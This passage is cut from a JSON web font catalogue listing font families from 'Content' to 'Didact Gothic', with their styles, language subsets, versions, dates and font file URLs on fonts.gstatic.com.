"family": "Content", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/content/v12/zrfg0HLayePhU_AwaRzdBirfWCHvkAI.ttf", "regular": "http://fonts.gstatic.com/s/content/v12/zrfl0HLayePhU_AwUaDyIiL0RCg.ttf" } }, { "kind": "webfonts#webfont", "family": "Contrail One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/contrailone/v9/eLGbP-j_JA-kG0_Zo51noafdZUvt_c092w.ttf" } }, { "kind": "webfonts#webfont", "family": "Convergence", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/convergence/v8/rax5HiePvdgXPmmMHcIPYRhasU7Q8Cad.ttf" } }, { "kind": "webfonts#webfont", "family": "Cookie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/cookie/v11/syky-y18lb0tSbfNlQCT9tPdpw.ttf" } }, { "kind": "webfonts#webfont", "family": "Copse", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/copse/v9/11hPGpDKz1rGb0djHkihUb-A.ttf" } }, { "kind": "webfonts#webfont", "family": "Corben", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/corben/v13/LYjAdGzzklQtCMpFHCZgrXArXN7HWQ.ttf", "regular": "http://fonts.gstatic.com/s/corben/v13/LYjDdGzzklQtCMp9oAlEpVs3VQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiRLmYgoyyYzFzFw.ttf", "500": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiHLiYgoyyYzFzFw.ttf", "600": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiML-YgoyyYzFzFw.ttf", "700": "http://fonts.gstatic.com/s/cormorant/v8/H4cgBXOCl9bbnla_nHIiVL6YgoyyYzFzFw.ttf", "300italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMUgIa2QTRjF8ER.ttf", "regular": "http://fonts.gstatic.com/s/cormorant/v8/H4clBXOCl9bbnla_nHIa6JG8iqeuag.ttf", "italic": "http://fonts.gstatic.com/s/cormorant/v8/H4cjBXOCl9bbnla_nHIq6pu4qKK-aihq.ttf", "500italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNMgYa2QTRjF8ER.ttf", "600italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qNghoa2QTRjF8ER.ttf", "700italic": "http://fonts.gstatic.com/s/cormorant/v8/H4c-BXOCl9bbnla_nHIq6qMEh4a2QTRjF8ER.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Garamond", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQAllvuQWJ5heb_w.ttf", "500": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQWlhvuQWJ5heb_w.ttf", "600": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQdl9vuQWJ5heb_w.ttf", "700": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQEl5vuQWJ5heb_w.ttf", "300italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPjuw-NxBKL_y94.ttf", "regular": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3bmX5slCNuHLi8bLeY9MK7whWMhyjornFLsS6V7w.ttf", "italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrHtPkyuF7w6C.ttf", "500italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEO7ug-NxBKL_y94.ttf", "600italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEOXvQ-NxBKL_y94.ttf", "700italic": "http://fonts.gstatic.com/s/cormorantgaramond/v7/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPzvA-NxBKL_y94.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Infant", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9951w3_DMrQqcdJrk.ttf", "500": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995wQ2_DMrQqcdJrk.ttf", "600": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN995ygx_DMrQqcdJrk.ttf", "700": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyIU44g9vKiM1sORYSiWeAsLN9950ww_DMrQqcdJrk.ttf", "300italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItcDEhRoUYNrn_Ig.ttf", "regular": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyPU44g9vKiM1sORYSiWeAsLN993_Af2DsAXq4.ttf", "italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyJU44g9vKiM1sORYSiWeAsLN997_IV3BkFTq4EPw.ttf", "500italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItKDAhRoUYNrn_Ig.ttf", "600italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItBDchRoUYNrn_Ig.ttf", "700italic": "http://fonts.gstatic.com/s/cormorantinfant/v8/HhyKU44g9vKiM1sORYSiWeAsLN997_ItYDYhRoUYNrn_Ig.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant SC", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmABIU_R3y8DOWGA.ttf", "500": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmWBMU_R3y8DOWGA.ttf", "600": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmdBQU_R3y8DOWGA.ttf", "700": "http://fonts.gstatic.com/s/cormorantsc/v8/0ybmGD4kxqXBmOVLG30OGwsmEBUU_R3y8DOWGA.ttf", "regular": "http://fonts.gstatic.com/s/cormorantsc/v8/0yb5GD4kxqXBmOVLG30OGwserDow9Tbu-Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Unicase", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9N_tucv7Gy0DRzS.ttf", "500": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Mnt-cv7Gy0DRzS.ttf", "600": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9MLsOcv7Gy0DRzS.ttf", "700": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Nvsecv7Gy0DRzS.ttf", "regular": "http://fonts.gstatic.com/s/cormorantunicase/v8/HI_QiZUaILtOqhqgDeXoF_n1_fTGX-vTnsMnx3C9.ttf" } }, { "kind": "webfonts#webfont", "family": "Cormorant Upright", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1N5phDsU9X6RPzQ.ttf", "500": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MhpxDsU9X6RPzQ.ttf", "600": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1MNoBDsU9X6RPzQ.ttf", "700": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJudM3I2Y35poFONtLdafkUCHw1y1NpoRDsU9X6RPzQ.ttf", "regular": "http://fonts.gstatic.com/s/cormorantupright/v6/VuJrdM3I2Y35poFONtLdafkUCHw1y2vVjjTkeMnz.ttf" } }, { "kind": "webfonts#webfont", "family": "Courgette", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/courgette/v7/wEO_EBrAnc9BLjLQAUkFUfAL3EsHiA.ttf" } }, { "kind": "webfonts#webfont", "family": "Courier Prime", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "700": "http://fonts.gstatic.com/s/courierprime/v1/u-4k0q2lgwslOqpF_6gQ8kELY7pMf-fVqvHoJXw.ttf", "regular": "http://fonts.gstatic.com/s/courierprime/v1/u-450q2lgwslOqpF_6gQ8kELWwZjW-_-tvg.ttf", "italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4n0q2lgwslOqpF_6gQ8kELawRpX837pvjxPA.ttf", "700italic": "http://fonts.gstatic.com/s/courierprime/v1/u-4i0q2lgwslOqpF_6gQ8kELawRR4-LfrtPtNXyeAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Cousine", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/cousine/v14/d6lNkaiiRdih4SpP9Z8K6T7G09BlnmQ.ttf", "regular": "http://fonts.gstatic.com/s/cousine/v14/d6lIkaiiRdih4SpPzSMlzTbtz9k.ttf", "italic": "http://fonts.gstatic.com/s/cousine/v14/d6lKkaiiRdih4SpP_SEvyRTo39l8hw.ttf", "700italic": "http://fonts.gstatic.com/s/cousine/v14/d6lPkaiiRdih4SpP_SEXdTvM1_JgjmRpOA.ttf" } }, { "kind": "webfonts#webfont", "family": "Coustard", "category": "serif", "variants": [ "regular", "900" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "900": "http://fonts.gstatic.com/s/coustard/v10/3XFuErgg3YsZ5fqUU-2LkEHmb_jU3eRL.ttf", "regular": "http://fonts.gstatic.com/s/coustard/v10/3XFpErgg3YsZ5fqUU9UPvWXuROTd.ttf" } }, { "kind": "webfonts#webfont", "family": "Covered By Your Grace", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coveredbyyourgrace/v9/QGYwz-AZahWOJJI9kykWW9mD6opopoqXSOS0FgItq6bFIg.ttf" } }, { "kind": "webfonts#webfont", "family": "Crafty Girls", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/craftygirls/v9/va9B4kXI39VaDdlPJo8N_NvuQR37fF3Wlg.ttf" } }, { "kind": "webfonts#webfont", "family": "Creepster", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/creepster/v8/AlZy_zVUqJz4yMrniH4hdXf4XB0Tow.ttf" } }, { "kind": "webfonts#webfont", "family": "Crete Round", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/creteround/v8/55xoey1sJNPjPiv1ZZZrxJ1827zAKnxN.ttf", "italic": "http://fonts.gstatic.com/s/creteround/v8/55xqey1sJNPjPiv1ZZZrxK1-0bjiL2xNhKc.ttf" } }, { "kind": "webfonts#webfont", "family": "Crimson Pro", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800", "900", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2020-04-21", "files": { "200": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTm18OJE_VNWoyQ.ttf", "300": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZkG18OJE_VNWoyQ.ttf", "500": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZ_G18OJE_VNWoyQ.ttf", "600": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZEGp8OJE_VNWoyQ.ttf", "700": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZKWp8OJE_VNWoyQ.ttf", "800": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTmp8OJE_VNWoyQ.ttf", "900": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZZ2p8OJE_VNWoyQ.ttf", "regular": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZzm18OJE_VNWoyQ.ttf", "200italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4Ue5s7dtC4yZNE.ttf", "300italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi7Ke5s7dtC4yZNE.ttf", "italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6Ue5s7dtC4yZNE.ttf", "500italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6me5s7dtC4yZNE.ttf", "600italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5KfJs7dtC4yZNE.ttf", "700italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5zfJs7dtC4yZNE.ttf", "800italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4UfJs7dtC4yZNE.ttf", "900italic": "http://fonts.gstatic.com/s/crimsonpro/v12/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi49fJs7dtC4yZNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Crimson Text", "category": "serif", "variants": [ "regular", "italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-22", "files": { "600": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJXsCx2C9lR1LFffg.ttf", "700": "http://fonts.gstatic.com/s/crimsontext/v10/wlppgwHKFkZgtmSR3NB0oRJX1C12C9lR1LFffg.ttf", "regular": "http://fonts.gstatic.com/s/crimsontext/v10/wlp2gwHKFkZgtmSR3NB0oRJvaAJSA_JN3Q.ttf", "italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlpogwHKFkZgtmSR3NB0oRJfaghWIfdd3ahG.ttf", "600italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajCOD9NV9rRPfrKu.ttf", "700italic": "http://fonts.gstatic.com/s/crimsontext/v10/wlprgwHKFkZgtmSR3NB0oRJfajDqDtNV9rRPfrKu.ttf" } }, { "kind": "webfonts#webfont", "family": "Croissant One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/croissantone/v7/3y9n6bU9bTPg4m8NDy3Kq24UM3pqn5cdJ-4.ttf" } }, { "kind": "webfonts#webfont", "family": "Crushed", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/crushed/v10/U9Mc6dym6WXImTlFT1kfuIqyLzA.ttf" } }, { "kind": "webfonts#webfont", "family": "Cuprum", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/cuprum/v11/dg4n_pLmvrkcOkBFnc5nj5YpQwM-gg.ttf", "regular": "http://fonts.gstatic.com/s/cuprum/v11/dg4k_pLmvrkcOkB9IeFDh701Sg.ttf", "italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4m_pLmvrkcOkBNI-tHpbglShon.ttf", "700italic": "http://fonts.gstatic.com/s/cuprum/v11/dg4h_pLmvrkcOkBNI9P7ipwtYQYugjW4.ttf" } }, { "kind": "webfonts#webfont", "family": "Cute Font", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutefont/v8/Noaw6Uny2oWPbSHMrY6vmJNVNC9hkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cutive", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutive/v11/NaPZcZ_fHOhV3Ip7T_hDoyqlZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cutive Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cutivemono/v8/m8JWjfRfY7WVjVi2E-K9H5RFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Mono", "category": "monospace", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-05-06", "files": { "300": "http://fonts.gstatic.com/s/dmmono/v1/aFTR7PB1QTsUX8KYvrGyIYSnbKX9Rlk.ttf", "500": "http://fonts.gstatic.com/s/dmmono/v1/aFTR7PB1QTsUX8KYvumzIYSnbKX9Rlk.ttf", "300italic": "http://fonts.gstatic.com/s/dmmono/v1/aFTT7PB1QTsUX8KYth-orYataIf4VllXuA.ttf", "regular": "http://fonts.gstatic.com/s/dmmono/v1/aFTU7PB1QTsUX8KYhh2aBYyMcKw.ttf", "italic": "http://fonts.gstatic.com/s/dmmono/v1/aFTW7PB1QTsUX8KYth-QAa6JYKzkXw.ttf", "500italic": "http://fonts.gstatic.com/s/dmmono/v1/aFTT7PB1QTsUX8KYth-o9YetaIf4VllXuA.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Sans", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-11-14", "files": { "500": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriAWCrOB-sClQX6Cg.ttf", "700": "http://fonts.gstatic.com/s/dmsans/v4/rP2Cp2ywxg089UriASitOB-sClQX6Cg.ttf", "regular": "http://fonts.gstatic.com/s/dmsans/v4/rP2Hp2ywxg089UriOZSCHBeHFl0.ttf", "italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Fp2ywxg089UriCZaIGDWCBl0O8Q.ttf", "500italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZaw7BymDnYS-Cjk6Q.ttf", "700italic": "http://fonts.gstatic.com/s/dmsans/v4/rP2Ap2ywxg089UriCZawpBqmDnYS-Cjk6Q.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Serif Display", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-11-19", "files": { "regular": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFnOHM81r4j6k0gjAW3mujVU2B2K_d709jy92k.ttf", "italic": "http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFhOHM81r4j6k0gjAW3mujVU2B2G_Vx1_r352np3Q.ttf" } }, { "kind": "webfonts#webfont", "family": "DM Serif Text", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-11-19", "files": { "regular": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCu-xZa_krGokauCeNq1wWyafOPXHIJErY.ttf", "italic": "http://fonts.gstatic.com/s/dmseriftext/v4/rnCw-xZa_krGokauCeNq1wWyWfGFWFAMArZKqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Damion", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/damion/v9/hv-XlzJ3KEUe_YZUbWY3MTFgVg.ttf" } }, { "kind": "webfonts#webfont", "family": "Dancing Script", "category": "handwriting", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BAyoHTeB9ptDqpw.ttf", "600": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B7y0HTeB9ptDqpw.ttf", "700": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B1i0HTeB9ptDqpw.ttf", "regular": "http://fonts.gstatic.com/s/dancingscript/v14/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSoHTeB9ptDqpw.ttf" } }, { "kind": "webfonts#webfont", "family": "Dangrek", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dangrek/v11/LYjCdG30nEgoH8E2gCNqqVIuTN4.ttf" } }, { "kind": "webfonts#webfont", "family": "Darker Grotesque", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxr2AW8hTOsXsX0.ttf", "500": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo0L3AW8hTOsXsX0.ttf", "600": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVo27wAW8hTOsXsX0.ttf", "700": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVowrxAW8hTOsXsX0.ttf", "800": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVoxbyAW8hTOsXsX0.ttf", "900": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MA6cuh-mLQlC4BKCtayOfARkSVozLzAW8hTOsXsX0.ttf", "regular": "http://fonts.gstatic.com/s/darkergrotesque/v1/U9MH6cuh-mLQlC4BKCtayOfARkSVm7beJWcKUOI.ttf" } }, { "kind": "webfonts#webfont", "family": "David Libre", "category": "serif", "variants": [ "regular", "500", "700" ], "subsets": [ "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8GIw7qbSjORSo9W.ttf", "700": "http://fonts.gstatic.com/s/davidlibre/v4/snfzs0W_99N64iuYSvp4W8HAxbqbSjORSo9W.ttf", "regular": "http://fonts.gstatic.com/s/davidlibre/v4/snfus0W_99N64iuYSvp4W_l86p6TYS-Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Dawning of a New Day", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dawningofanewday/v10/t5t_IQMbOp2SEwuncwLRjMfIg1yYit_nAz8bhWJGNoBE.ttf" } }, { "kind": "webfonts#webfont", "family": "Days One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/daysone/v9/mem9YaCnxnKRiYZOCLYVeLkWVNBt.ttf" } }, { "kind": "webfonts#webfont", "family": "Dekko", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dekko/v6/46khlb_wWjfSrttFR0vsfl1B.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/delius/v9/PN_xRfK0pW_9e1rtYcI-jT3L_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius Swash Caps", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/deliusswashcaps/v11/oY1E8fPLr7v4JWCExZpWebxVKORpXXedKmeBvEYs.ttf" } }, { "kind": "webfonts#webfont", "family": "Delius Unicase", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/deliusunicase/v13/845CNMEwEIOVT8BmgfSzIr_6mlp7WMr_BmmlS5aw.ttf", "regular": "http://fonts.gstatic.com/s/deliusunicase/v13/845BNMEwEIOVT8BmgfSzIr_6mmLHd-73LXWs.ttf" } }, { "kind": "webfonts#webfont", "family": "Della Respira", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dellarespira/v7/RLp5K5v44KaueWI6iEJQBiGPRfkSu6EuTHo.ttf" } }, { "kind": "webfonts#webfont", "family": "Denk One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/denkone/v7/dg4m_pzhrqcFb2IzROtHpbglShon.ttf" } }, { "kind": "webfonts#webfont", "family": "Devonshire", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/devonshire/v8/46kqlbDwWirWr4gtBD2BX0Vq01lYAZM.ttf" } }, { "kind": "webfonts#webfont", "family": "Dhurjati", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/dhurjati/v7/_6_8ED3gSeatXfFiFX3ySKQtuTA2.ttf" } }, { "kind": "webfonts#webfont", "family": "Didact Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v13", 